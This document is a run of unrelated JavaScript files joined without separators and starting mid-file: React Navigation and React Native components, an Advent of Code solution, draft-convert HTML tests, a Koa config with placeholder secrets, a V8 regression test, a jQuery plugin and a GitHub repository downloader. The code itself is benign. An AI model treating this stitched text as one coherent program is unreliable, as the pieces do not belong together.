}${navigation.getParam('name')}'s Profile`} navigation={navigation} /> ); MyProfileScreen.navigationOptions = props => { const { navigation } = props; const { state, setParams } = navigation; const { params } = state; return { headerBackImage: params.headerBackImage, headerTitle: `${params.name}'s Profile!`, // Render a button on the right side of the header. // When pressed switches the screen to edit mode. headerRight: ( <HeaderButtons> <HeaderButtons.Item title={params.mode === 'edit' ? 'Done' : 'Edit'} onPress={() => setParams({ mode: params.mode === 'edit' ? '' : 'edit' }) } /> </HeaderButtons> ), }; }; const SimpleStack = createStackNavigator( { Home: { screen: MyHomeScreen, }, Profile: { path: 'people/:name', screen: MyProfileScreen, }, Photos: { path: 'photos/:name', screen: MyPhotosScreen, }, }, { // headerLayoutPreset: 'center', } ); export default SimpleStack;
/* Rambunctious Recitation */ const fs = require("fs"); const input = fs .readFileSync("./input.txt", (_, a) => a) .toString() .split("\r\n") .map((a) => a.split(','))[0].map(a=>a >>>0); /** * Enumerates rules and returns the number at the stopAtTurn turn * @param {[Number]} input Starting Set of Numbers * @param {Number} stopAtTurn Turn on which to stop the iterations * @returns Value when stopped * @description Uses a Naive loop and array based approach with costly lookups. * Works well for small stopAtTurn values. Speaking a number is easy : just add it to the array. The array is a dictionary i:turn number and the spoken number */ const enumerateByRule_bruteforce = ([...input],stopAtTurn) => { const spoken = []; for (i in input) { spoken[i] = { i: 1 + parseInt(i), spoken: input[i] }; } for (let i = input.length; i < stopAtTurn; i++) { lastSpoken = spoken[i - 1].spoken; // Find the number to be actually spoken let actualSpoken = lastSpoken; previouslySpoken = spoken.filter((x) => x.spoken == lastSpoken); if (previouslySpoken.length > 1) { prevInd = previouslySpoken.slice(-2)[0].i; actualSpoken = i - prevInd; } else if (previouslySpoken.length > 0) { actualSpoken = 0; } // speak the number spoken[i] = { i: i + 1, spoken: actualSpoken }; } return spoken.slice(-1)[0].spoken; }; console.time("Part1 - bruteForce algo"); var p1_bf = enumerateByRule_bruteforce(input, 2020); console.timeEnd("Part1 - bruteForce algo"); console.log("Part1 - BF: ", p1_bf); /** * Enumerates rules and returns the number at the stopAtTurn turn * @param {[Number]} input Starting Set of Numbers * @param {Number} stopAtTurn Turn on which to stop the iterations * @returns Value when stopped * @description Uses a hashmap lookup table with keys being the spoken numbers. This should speed up the enumeration for larger stopAtTurn numbers. * The values are a dictionary with last: the last index this number was spoken; beforeLast: index prior to the last index the number was spoken. * The speak part of this method is a little more involved, since "speaking the number" equates to updating the hashmap. */ const enumerateByRule_hashmap = ([...input], stopAtTurn) => { const spoken = new Map(); for (i in input) { spoken.set(input[i], { last: parseInt(i), beforeLast: null }); } let lastSpoken = input[input.length-1]; for (let turn = input.length; turn < stopAtTurn; turn++) { //Get number Actual spoken let actualSpoken = lastSpoken; let { last, beforeLast } = spoken.get(lastSpoken); if (beforeLast == null) { actualSpoken = 0; } else { actualSpoken = last - beforeLast; } //Speak number if (spoken.has(actualSpoken)) { //actualSpokenNumber was already spoken, update hash map by setting last to current turn and beforeLast to the original last let { last: orig_last } = spoken.get(actualSpoken); spoken.set(actualSpoken, { last: parseInt(turn), beforeLast: orig_last, }); } else { // add actuallySpoken number to the has map with last as current spoken.set(actualSpoken, { last: parseInt(turn), beforeLast: null }); } lastSpoken = actualSpoken; } return lastSpoken; }; // PART 1 console.time("Part1 - hashmap algo"); var p1_hm = enumerateByRule_hashmap(input, 2020); console.timeEnd("Part1 - hashmap algo"); console.log("Part1 hashmap ", p1_hm); // PART 2 console.log("Part2 : ", enumerateByRule_hashmap(input, 30000000));
import convertToHTML from '../../src/convertToHTML'; import React from 'react'; import { convertFromRaw } from 'draft-js'; import uniqueId from '../util/uniqueId'; /* eslint-disable react/no-multi-comp */ const buildContentBlock = ({ type = 'unstyled', depth = 0, text = '', styleRanges = [], entityRanges = [], data = {}, }) => { return { text, type, data, depth, entityRanges, inlineStyleRanges: styleRanges, key: `test${uniqueId()}`, }; }; const buildContentState = (blocks, entityMap = {}) => { return convertFromRaw({ entityMap, blocks: blocks.map(buildContentBlock), }); }; const styleMarkup = { BOLD: { start: '<b>', end: '</b>', }, ITALIC: { start: '<i>', end: '</i>', }, UNDERLINE: { start: '<u>', end: '</u>', }, }; describe('convertToHTML', () => { it('returns an empty div for an empty unstyled block', () => { const contentState = buildContentState([ { type: 'unstyled', text: '', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<p></p>'); }); it('uses empty state for an empty block', () => { const contentState = buildContentState([ { type: 'unstyled', text: '', }, ]); const result = convertToHTML({ blockToHTML: { unstyled: { start: '<p>', end: '</p>', empty: '<br>', }, }, })(contentState); expect(result).toBe('<br>'); }); it('applies inline styles to a block', () => { const contentState = buildContentState([ { type: 'unstyled', text: 'this is bold', styleRanges: [ { style: 'BOLD', offset: 8, length: 4, }, ], }, ]); const result = convertToHTML({ styleToHTML: styleMarkup, })(contentState); expect(result).toBe('<p>this is <b>bold</b></p>'); }); it('applies paragraph block styles', () => { const contentState = buildContentState([ { type: 'paragraph', text: 'test paragraph', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<p>test paragraph</p>'); }); it('applies code block styles', () => { const contentState = buildContentState([ { type: 'code-block', text: 'test code block', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<pre>test code block</pre>'); }); it('applies style to multiple blocks', () => { const contentState = buildContentState([ { type: 'header-one', text: 'h1 block', }, { type: 'header-two', text: 'h2 block', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<h1>h1 block</h1><h2>h2 block</h2>'); }); it('applies styles for single list', () => { const contentState = buildContentState([ { type: 'ordered-list-item', text: 'item one', }, { type: 'ordered-list-item', text: 'item two', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<ol type="1"><li>item one</li><li>item two</li></ol>'); }); it('applies type attribute for nested ordered lists', () => { const contentState = buildContentState([ { type: 'ordered-list-item', text: 'top level item one', depth: 0, }, { type: 'ordered-list-item', text: 'sub item one', depth: 1, }, { type: 'ordered-list-item', text: 'sub-sub item one', depth: 2, }, ]); const result = convertToHTML(contentState); expect(result).toBe( '<ol type="1"><li>top level item one</li><ol type="a"><li>sub item one</li><ol type="i"><li>sub-sub item one</li></ol></ol></ol>' ); }); it('nests list items of different depths', () => { const contentState = buildContentState([ { type: 'unordered-list-item', text: 'top level', depth: 0, }, { type: 'unordered-list-item', text: 'nested item', depth: 1, }, ]); const result = convertToHTML(contentState); expect(result).toBe( '<ul><li>top level</li><ul><li>nested item</li></ul></ul>' ); }); it('resets nesting when depth decreases', () => { const contentState = buildContentState([ { type: 'unordered-list-item', text: 'top level', depth: 0, }, { type: 'unordered-list-item', text: 'nested one level', depth: 1, }, { type: 'unordered-list-item', text: 'nested two levels', depth: 2, }, { type: 'unordered-list-item', text: 'back to top level', depth: 0, }, ]); const result = convertToHTML(contentState); expect(result).toBe( '<ul><li>top level</li><ul><li>nested one level</li><ul><li>nested two levels</li></ul></ul><li>back to top level</li></ul>' ); }); it('escapes HTML in text of blocks', () => { const contentState = buildContentState([ { type: 'unstyled', text: '<&>', }, ]); const result = convertToHTML(contentState); expect(result).toBe('<p>&lt;&amp;&gt;</p>'); }); it('escapes HTML in text of blocks before mutations', () => { const contentState = buildContentState([ { type: 'unstyled', text: '<&>test', styleRanges: [ { style: 'BOLD', offset: 3, length: 4, }, ], }, ]); const result = convertToHTML(contentState); expect(result).toBe('<p>&lt;&amp;&gt;<strong>test</strong></p>'); }); it('escapes HTML in text of blocks within mutations', () => { const contentState = buildContentState([ { type: 'unstyled', text: 'te<&>st', styleRanges: [ { style: 'BOLD', offset: 1, length: 5, }, ], }, ]); const result = convertToHTML(contentState); expect(result).toBe('<p>t<strong>e&lt;&amp;&gt;s</strong>t</p>'); }); it('escapes HTML in text of blocks before entities', () => { const contentState = buildContentState( [ { type: 'unstyled', text: '<&>test', entityRanges: [ { key: 0, offset: 3, length: 4, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', }, } ); const result = convertToHTML({ entityToHTML: (entity, originalText) => { if (entity.type === 'LINK') { return `<a>${originalText}</a>`; } return originalText; }, })(contentState); expect(result).toBe('<p>&lt;&amp;&gt;<a>test</a></p>'); }); it('escapes HTML in text of blocks before entities', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'te<&>st', entityRanges: [ { key: 0, offset: 1, length: 5, }, ], styleRanges: [ { style: 'BOLD', offset: 6, length: 1, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', }, } ); const result = convertToHTML({ entityToHTML: (entity, originalText) => { if (entity.type === 'LINK') { return `<a>${originalText}</a>`; } return originalText; }, })(contentState); expect(result).toBe('<p>t<a>e&lt;&amp;&gt;s</a><strong>t</strong></p>'); }); it('uses block metadata', () => { const contentState = buildContentState([ { type: 'custom', text: 'test', data: { tagName: 'customtag', attribute: 'value', }, }, ]); const result = convertToHTML({ blockToHTML: block => { if (block.type === 'custom') { const { tagName, attribute } = block.data; return { start: `<${tagName} attribute="${attribute}">`, end: `</${tagName}>`, }; } }, })(contentState); expect(result).toBe('<customtag attribute="value">test</customtag>'); }); describe('combine styles and entities', () => { const convertToHTMLProps = { entityToHTML: (entity, originalText) => { if (entity.type === 'LINK') { const { data } = entity; return { start: `<a href="${data.href}">`, end: '</a>', }; } return originalText; }, }; it('combines styles and entities without overlap', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, { offset: 14, length: 14, style: 'ITALIC', }, ], entityRanges: [ { key: 0, offset: 0, length: 28, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><a href="http://google.com"><strong>overlapping st</strong><em>yles in entity</em></a></p>' ); }); it('combines overlapping styles and entities', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, { offset: 12, length: 14, style: 'ITALIC', }, ], entityRanges: [ { key: 0, offset: 0, length: 28, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><a href="http://google.com"><strong>overlapping </strong><em><strong>st</strong>yles in enti</em>ty</a></p>' ); }); it('combines styles and entities when intersecting with no style to left', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, ], entityRanges: [ { key: 0, offset: 12, length: 6, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><strong>overlapping </strong><a href="http://google.com"><strong>st</strong>yles</a> in entity</p>' ); }); it('combines styles and entities when intersecting with no style text to right', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 14, length: 14, style: 'BOLD', }, ], entityRanges: [ { key: 0, offset: 12, length: 6, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p>overlapping <a href="http://google.com">st<strong>yles</strong></a><strong> in entity</strong></p>' ); }); it('correctly handles mutation containing another prefixed mutation', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping test Hello World', styleRanges: [ { offset: 0, length: 11, style: 'BOLD', }, { offset: 23, length: 5, style: 'ITALIC', }, ], entityRanges: [ { key: 0, offset: 17, length: 5, }, { key: 1, offset: 23, length: 5, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, 1: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><strong>overlapping</strong> test <a href="http://google.com">Hello</a> <em><a href="http://google.com">World</a></em></p>' ); }); it('combines styles and entities when intersection with no style text to right and left', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, { offset: 16, length: 12, style: 'BOLD', }, ], entityRanges: [ { key: 0, offset: 12, length: 6, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><strong>overlapping </strong><a href="http://google.com"><strong>st</strong>yl<strong>es</strong></a><strong> in entity</strong></p>' ); }); it('combines overlapping styles and entities when intersecting with no style', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, { offset: 10, length: 14, style: 'ITALIC', }, ], entityRanges: [ { key: 0, offset: 12, length: 6, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<p><strong>overlappin</strong><em><strong>g </strong><a href="http://google.com"><strong>st</strong>yles</a> in en</em>tity</p>' ); }); }); it('allows specifying custom nested block types', () => { const convertToHTMLProps = { blockToHTML: block => { if (block.type === 'checkable-list-item') { return { element: <li data-checked={block.data.checked || false} />, nest: <ul />, }; } }, }; const contentState = buildContentState([ { type: 'checkable-list-item', text: 'item one', data: { checked: false, }, }, { type: 'checkable-list-item', text: 'item two', data: { checked: true, }, }, ]); const result = convertToHTML(convertToHTMLProps)(contentState); expect(result).toBe( '<ul><li data-checked="false">item one</li><li data-checked="true">item two</li></ul>' ); }); it('combines styles and entities without overlap using react to convert to HTML', () => { const contentState = buildContentState( [ { type: 'unstyled', text: 'overlapping styles in entity', styleRanges: [ { offset: 0, length: 14, style: 'BOLD', }, { offset: 14, length: 14, style: 'ITALIC', }, ], entityRanges: [ { key: 0, offset: 0, length: 28, }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: { href: 'http://google.com', }, }, } ); const result = convertToHTML({ entityToHTML: (entity, originalText) => { if (entity.type === 'LINK') { const { data } = entity; return <a href={data.href} />; } return originalText; }, })(contentState); expect(result).toBe( '<p><a href="http://google.com"><strong>overlapping st</strong><em>yles in entity</em></a></p>' ); }); it('uses JSX for block HTML', () => { const contentState = buildContentState([ { type: 'unstyled', text: 'test', }, ]); const html = convertToHTML({ blockToHTML: block => { if (block.type === 'unstyled') { return <testelement />; } }, })(contentState); expect(html).toBe('<testelement>test</testelement>'); }); it('uses JSX with style for block HTML', () => { const contentState = buildContentState([ { type: 'unstyled', text: 'test', data: { align: 'right' }, }, ]); const html = convertToHTML({ blockToHTML: block => { if (block.type === 'unstyled' && block.data.align) { return <p style={{ textAlign: block.data.align }} />; } }, })(contentState); expect(html).toBe('<p style="text-align:right;">test</p>'); }); it('uses JSX for block HTML when passing a middleware function', () => { const contentState = buildContentState([ { type: 'unstyled', text: 'test', }, ]); const blockToHTML = next => block => { if (block.type === 'unstyled') { return <testelement />; } return next(block); }; blockToHTML.__isMiddleware = true; const html = convertToHTML({ blockToHTML })(contentState); expect(html).toBe('<testelement>test</testelement>'); }); it('allows void elements to be result of blockToHTML', () => { const contentState = buildContentState([ { type: 'image', text: 'test', }, ]); const blockToHTML = block => { if (block.type === 'image') { return <img />; } }; const html = convertToHTML({ blockToHTML })(contentState); expect(html).toBe('<img/>'); }); // '👍'.length === 2 // '⛳'.length === 1 it('handles emojis that count as two characters', () => { const contentState = buildContentState( [ { text: '👍', type: 'unstyled', depth: 0, entityRanges: [ { offset: 0, length: 1, key: 0, }, ], }, ], { 0: { type: 'emoji', mutability: 'IMMUTABLE', data: { emojiUnicode: '👍', }, }, } ); const result = convertToHTML({ entityToHTML(entity, originalText) { if (entity.type === 'emoji') { return entity.data.emojiUnicode; } }, })(contentState); expect(result).toBe('<p>👍</p>'); }); it('supports a string output for blockToHTML', () => { const contentState = buildContentState([ { text: 'test', type: 'unstyled', }, ]); const blockContents = '<div>unstyled block</div>'; const result = convertToHTML({ blockToHTML: block => { if (block.type === 'unstyled') { return blockContents; } }, })(contentState); expect(result).toBe(blockContents); }); it('handles overlapping entity and style', () => { const contentState = buildContentState( [ { text: 'Lorem ipsum dolor sit amet, consectetur adipiscing elit.', type: 'unstyled', entityRanges: [ { offset: 0, length: 26, key: 0, }, ], styleRanges: [ { offset: 22, length: 34, style: 'ITALIC', }, ], }, ], { 0: { type: 'LINK', mutability: 'IMMUTABLE', data: {}, }, } ); const html = convertToHTML({ styleToHTML: style => { if (style === 'ITALIC') { return <i />; } }, entityToHTML: (entity, originalText) => { if (entity.type === 'LINK') { return <a href="http://test.com">{originalText}</a>; } }, })(contentState); expect(html).toBe( '<p><a href="http://test.com">Lorem ipsum dolor sit <i>amet</i></a><i>, consectetur adipiscing elit.</i></p>' ); }); it('handles offset of entities after an emoji', () => { const contentState = buildContentState( [ { text: '👍 Santi Albo', type: 'unstyled', depth: 0, entityRanges: [ { offset: 0, length: 1, key: 0, }, { offset: 2, length: 10, key: 1, }, ], }, ], { 0: { type: 'emoji', mutability: 'IMMUTABLE', data: { emojiUnicode: '👍', }, }, 1: { type: 'mention', mutability: 'SEGMENTED', data: { href: '/users/1', }, }, } ); const result = convertToHTML({ entityToHTML(entity, originalText) { if (entity.type === 'emoji') { return entity.data.emojiUnicode; } else if (entity.type === 'mention') { return <a href={entity.data.href}>{originalText}</a>; // <-- originalText here is "anti Albo" } }, })(contentState); expect(result).toBe('<p>👍 <a href="/users/1">Santi Albo</a></p>'); }); it('handles offset of entities after an emoji with newline', () => { const contentState = buildContentState( [ { text: '👍 \nSanti Albo', type: 'unstyled', depth: 0, entityRanges: [ { offset: 0, length: 1, key: 0, }, { offset: 3, length: 10, key: 1, }, ], }, ], { 0: { type: 'emoji', mutability: 'IMMUTABLE', data: { emojiUnicode: '👍', }, }, 1: { type: 'link', mutability: 'IMMUTABLE', data: { url: 'https://www.google.com', }, }, } ); const result = convertToHTML({ entityToHTML(entity, originalText) { if (entity.type === 'emoji') { return entity.data.emojiUnicode; } else if (entity.type === 'link') { return <a href={entity.data.url}>{originalText}</a>; } }, })(contentState); expect(result).toBe( '<p>👍 <br/><a href="https://www.google.com">Santi Albo</a></p>' ); }); it('throws a meaningful error when no block definition exists', () => { const contentState = buildContentState([ { type: 'test', text: 'asdf', }, ]); expect(() => convertToHTML(contentState)).toThrowError( /missing HTML definition/ ); }); });
/* * @Description: app 配置 * @Author: MoonCheung * @Date: 2019-04-12 16:50:52 * @Github: https://github.com/MoonCheung */ const bash = require('../bash.js'); // NOTE: bash.js文件主要密钥,密码用来解析,而且需要你自己拥有这些才可以 const argv = require('yargs').config(bash).argv; module.exports = { // process.env属性返回一个包含用户环境信息的对象 See environ(7). port: process.env.PORT || 3030, session: { key: 'blogs', maxAge: 86400000, autoCommit: true, overwrite: true, httpOnly: true, signed: true, rolling: false, renew: false }, // mongodb数据库集合文档 mongodb: { url: 'mongodb://127.0.0.1:27017/Blogs', auth: argv.mongo_auth, user: argv.mongo_user, pass: argv.mongo_pass }, // 七牛配置 QINIU: { Bucket: 'blogs', AccessKey: argv.qn_AccessKey || 'your access key', SecretKey: argv.qn_SecretKey || 'your secret key' }, // jwtToken jwtToken: { PrivateKey: 'blogs_token' }, // 百度推送 BAIDU: { site: argv.baidu_site || 'your baidu seo', token: argv.baidu_token || 'your baidu token' }, // IP归属地配置 GEOIP: { SecretID: argv.ip_secretId || 'your secret id', SecretKey: argv.ip_secretKey || 'your secret key' }, // SMTP邮件配置 EMAIL: { host: 'smtp.163.com', port: 465, user: argv.mail_user || 'your mail user', pass: argv.mail_pass || 'your mail pass' }, // node服务器信息 INFO: { status: 'success', msg: '数据请求成功!', result: { name: 'node-server', version: '1.3.0', author: { name: 'MoonCheung', email: 'salvador23@163.com', website: 'https://ikmoons.com' }, github: 'https://github.com/MoonCheung', powered: ['Vue', 'Nuxt.js', 'mpvue', 'Node.js', 'Koa', 'MongoDB', 'Mongoose', 'Nginx'] } }, // gravatar 配置 AVATAR: { size: '80', r: 'x', d: 'retro' } };
/** * @author Mahmud Ahsan <https://github.com/mahmudahsan> */ import React from 'react'; import { View, FlatList } from 'react-native'; import TodoListItem from '../components/TodoListItem'; export default class TodoList extends React.Component { _keyExtractor = (item) => item.id rgbToHex = (rgb) => { var hex = (Number(rgb) % 255).toString(16); if (hex.length < 2) { hex = "0" + hex; } return hex; }; fullColorHex = (r,g,b) => { var red = this.rgbToHex(r); var green = this.rgbToHex(g); var blue = this.rgbToHex(b); return red+green+blue; // 1098c2 : 6 digit }; _renderItem = ({item, index}) => { /** * Start Color to Target Color * 1098c2 : R 16, G 152, B 194 a8dae9 : R 168, G 218, B 233 Increase rate = 5 R: 16/255*100 = 6.27 | 6.27/100 * 5 = 0.3135 G: 152/218*100 = 59.6 | 59.6/100 * 5 = 2.98 B: 194/233*100 = 76.0 | 76.0/100 * 5 = 7.6 */ const r = Math.floor(0.3135 * index); const g = Math.floor(2.98 * index); const b = Math.floor(3.8 * index); let startColor = this.fullColorHex(Number(16+r), Number(152+g), Number(194+b)); return ( <TodoListItem todo={item} startColor={`#${startColor}`} endColor={'#e0ecf0'} onItemPress={()=>{this.onTodoItemPressed(index)}} /> ) }; render(){ return ( <View> <FlatList data={this.props.data} keyExtractor={this._keyExtractor} renderItem={this._renderItem} /> </View> ) } // When user pressed todo item onTodoItemPressed = (indexOfTodoItem) => { this.props.onTodoUpdate(indexOfTodoItem); this.startColor = this.props.startColor; } }
// Copyright 2011 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // Flags: --allow-natives-syntax // Test for issue 1106, where the optimizing compiler broke when accessing // a property lying on a prototype of the global object, and that prototype // object was in dictionary mode. x = Object.prototype; x.foo = 3; x.bar = 4; delete x.foo; x.foo = 5; function f() { return foo; }; %PrepareFunctionForOptimization(f); for (i = 0; i < 5; ++i) { assertEquals(5, f()); } %OptimizeFunctionOnNextCall(f); assertEquals(5, f()); // Test calls on functions defined in the prototype of the global object. x.gee = function() { return 42; }; function g() { return gee(); }; %PrepareFunctionForOptimization(g); for (i = 0; i < 5; ++i) { assertEquals(42, g()); } %OptimizeFunctionOnNextCall(g); assertEquals(42, g());
/*globals jQuery,yii,window,moment,JSON:false */ (function ($, window, undefined) { var animationEnd = (function (el) { var animations = { animation: 'animationend', OAnimation: 'oAnimationEnd', MozAnimation: 'mozAnimationEnd', WebkitAnimation: 'webkitAnimationEnd' }; for (var t in animations) { if (el.style[t] !== undefined) { return animations[t]; } } })(document.createElement('div')); $.fn.extend({ animateCss: function (animationName, callback) { var $elements = this, $w = $(window), threshold = 0; $elements.one(animationEnd, function () { var $this = $(this); $this.removeClass('animated ' + animationName); $this.data('animation', 'finished'); if (typeof callback === 'function') { callback(); } }); $w.on('scroll.animation resize.animation lookup.animation', function () { $elements.filter(function () { var $e = $(this); if ($e.is(':hidden') || $e.hasClass('animated') || $e.data('animation') === 'finished') { return; } var wt = $w.scrollTop(), wb = wt + $w.height(), et = $e.offset().top, eb = et + $e.height(); return eb >= wt - threshold && et <= wb + threshold; }).addClass('animated ' + animationName); }); $w.trigger('scroll.animation'); return this; } }); $('[data-animation]').each(function () { var $this = $(this); $this.animateCss($this.data('animation')); }); })(jQuery, window);
// Dependencies var Config = require("./config") , Request = require("request") , Logger = require("bug-killer") , Repo = require("gry") , Async = require("async") , Fs = require("fs") , SameTimeLimit = require("same-time-limit") ; // Logger configuration Logger.config.progress = { color: "#3498db" , text: " > " }; /** * makeApiRequest * Run API requests. * * @name makeApiRequest * @function * @param {String} api The relative API url. * @param {Function} callback The callback function. * @return {undefined} */ function makeApiRequest(api, callback) { Request({ url: "https://api.github.com/" + api , auth: Config.github , json: true , headers: { "user-agent": "Repo Downloader" } }, function (err, res, body) { err = err || body.error || body.message; if (err) { return callback(err); } callback(null, body); }); } /** * getOrgs * Gets the organizations where the authenticated user is member. * * @name getOrgs * @function * @param {Function} callback The callback function. * @return {undefined} */ function getOrgs(callback) { makeApiRequest("user/orgs", callback); } /** * getPRRepos * Gets the repositories where the `user` created pull requests. * * @name getPRRepos * @function * @param {String} user The user login value. * @param {Array} orgs The organizations where the user belongs to. * @param {Function} callback The callback function. * @return {undefined} */ function getPRRepos(user, orgs, callback) { var api = "search/issues?q=author:" + user + "%20is:pr" , page = 0 , allRepos = [] , ignoreAccounts = orgs.map(function (c) { return c.login; }).concat([Config.github.username]) , match = null ; function seq() { Logger.log("Page: " + (++page), "progress"); makeApiRequest(api + "&per_page=100&page=" + page, function (err, res) { if (err) { return callback(err); } allRepos = allRepos.concat(res.items.filter(function (c) { if (!c.full_name || !c.ssh_url || !c.owner) { match = c.html_url.match(/github\.com\/(.*)\/(.*)\/pull/); if (!match || match.length !== 3) { Logger.log("Failed to get repository data for: " + c.html_url + " Incident must be reported.", "error"); return false; } c.owner = { login: match[1] }; c.full_name = c.owner.login + "/" + match[2]; c.ssh_url = "git@github.com:" + c.full_name + ".git"; } return ignoreAccounts.indexOf(c.owner.login) === -1; })); if (!res.items.length) { return callback(null, allRepos); } seq(); }); } seq(); } /** * getAllRepos * Gets all repositories from the provided `user`. * * @name getAllRepos * @function * @param {String} user The user login value. * @param {Array} orgs The organizations where the user belongs to. * @param {Boolean} isOrg A flag if the `user` is an organization or not. * @param {Function} callback The callback function. * @return {undefined} */ function getAllRepos(user, orgs, isOrg, callback) { if (typeof isOrg === "function") { callback = isOrg; isOrg = false; } var api = "users/" + user + "/repos" , page = 0 , allRepos = [] ; if (isOrg) { api = "orgs/" + user + "/repos"; } function seq() { Logger.log("Page: " + (++page), "progress"); makeApiRequest(api + "?per_page=100&page=" + page, function (err, res) { if (err) { return callback(err); } allRepos = allRepos.concat(res); if (!res.length) { Logger.log("Getting the repositories where " + user + " created pull requests.", "info"); return getPRRepos(user, orgs, function (err, prRepos) { if (err) { Logger.log(err, "warn"); } allRepos = allRepos.concat(prRepos); return callback(null, allRepos); }); } seq(); }); } seq(); } /** * downloadRepos * Download repositories the provided repositories. * * @name downloadRepos * @function * @param {Array} repos An array with the repositories to download. * @param {Function} callback The callback function. * @return {undefined} */ function downloadRepos(repos, callback) { var funcs = [] , complete = 0 , notDownloaded = [] ; repos.forEach(function (c) { if (!c) { return; } funcs.push(function (callback) { var repo = new Repo("./downloads") , path = "github/" + c.full_name ; if (Fs.existsSync(__dirname + "/downloads/" + path)) { Logger.log("Repository already downloaded: " + c.full_name, "warn"); return callback(); } Logger.log("Repository: " + c.full_name, "progress"); repo.exec("clone " + c.ssh_url + " " + path, function (err) { if (err) { Logger.log(err); notDownloaded.push(c); return callback(); } Logger.log("Downloaded " + c.full_name + " (" + (++complete) + "/" + repos.length + ")", "progress"); callback(); }); }); }); SameTimeLimit(funcs, 4, function (err, data) { if (notDownloaded.length) { Logger.log(notDownloaded.length + " repos failed to download. Trying again.", "warn"); return downloadRepos(notDownloaded, callback); } callback(); }); } // Start the magic Logger.log("Getting the organizations you belong to.", "info"); getOrgs(function (err, orgs) { if (err) { return Logger.log(err, "error"); } // Download user reposiotires Logger.log("Getting all your repositories.", "info"); getAllRepos(Config.github.username, orgs, function (err, myRepos) { if (err) { return Logger.log(err, "error"); } // Download user repositories Logger.log("Downloading all your repositories.", "info"); downloadRepos(myRepos, function (err) { if (err) { return Logger.log(err, "error"); } Logger.log("Downloaded all user repos.", "info"); // Download the organization repositories var downloadOrgRepos = []; orgs.forEach(function (c) { downloadOrgRepos.push(function (callback) { Logger.log("Getting " + c.login + "'s repositories.", "info"); getAllRepos(c.login, orgs, true, function (err, repos) { if (err) { return callback(err); } Logger.log("Downloading " + c.login + "'s repositories.", "info"); downloadRepos(repos, callback); }); }); }); Async.series(downloadOrgRepos, function (err) { if (err) { return Logger.log(err, "error"); } Logger.log("Done.", "info"); }); }); }); });
var fwd_2core_2common_8hpp = [ [ "common_t", "fwd_2core_2common_8hpp.html#ga4da46c97755c0f430b063711b66ca05b", null ] ];
function render() { return elementVoid("div", key, ["key", key]); }
